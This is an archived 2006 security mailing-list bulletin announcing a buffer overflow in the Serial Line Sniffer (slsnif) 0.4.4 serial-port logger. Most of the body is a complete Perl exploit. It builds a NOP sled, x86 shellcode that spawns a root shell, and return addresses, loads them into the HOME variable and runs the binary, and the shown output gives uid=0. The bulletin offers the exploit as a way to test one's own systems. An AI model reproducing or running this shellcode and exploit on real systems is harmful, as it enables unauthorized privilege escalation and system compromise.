

# [EXPL] Serial Line Sniffer Buffer Overflow (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00049.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 15 Jan 2006 18:54:20 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Serial Line Sniffer Buffer Overflow (Exploit)

---

## SUMMARY

<<http://freshmeat.net/projects/slsnif/>> slsnif is "a serial port logging utility. It listens to the specified serial port and logs all data going through this port in both directions".

Serial Line Sniffer Buffer has been found to be vulnerable to buffer overflow, the following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable Systems:

\* Serial Line Sniffer version 0.4.4

Exploit:

```
# Author: Sintigan@xxxxxxxxxxxxxxxx
```

```
# http://www.shellcoders.com/
```

```
# -----
```

```
# Program ID: Serial Line Sniffer 0.4.4
```

```
#
```

```
# sintigan@midnight:/home/sintigan$ perl slsnif-ploit.pl
```

## [EXPL] Serial Line Sniffer Buffer Overflow (Exploit)

```
# sh-3.00# id
# uid=0(root) gid=100(users) groups=100(users)
# -----
#
# Greetz to Elohimus, Melkor, Modzilla, tgo, asTHma, and bk
# and whoever else i forgot
#

#!/usr/bin/perl
$shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73" .
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

$buf = 288;
$ret = 0xbfff3a0;
$nop = "\x90";
$offset = -250;

if (@ARGV == 1) { $offset = $ARGV[0]; }

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;
$addr = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
    $buffer .= $addr;
}
$ENV{'HOME'} = $buffer; exec("/usr/local/bin/slsnif");
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:Sintigan@xxxxxxxxxxxxxxxx>>  
Sintigan.

The original article can be found at:

<<http://shellcoders.com/sintigan/slsnif-ploit.pl>>

<http://shellcoders.com/sintigan/slsnif-ploit.pl>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxxxx)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- Prev by Date: [\*\[EXPL\] eStara Softphone Buffer Overflow \(Exploit\)\*](#)
- Next by Date: [\*\[UNIX\] Xmame Buffer Overflow\*](#)
- Previous by thread: [\*\[EXPL\] eStara Softphone Buffer Overflow \(Exploit\)\*](#)
- Next by thread: [\*\[UNIX\] Xmame Buffer Overflow\*](#)
- Index(es):
  - ◆ [\*Date\*](#)
  - ◆ [\*Thread\*](#)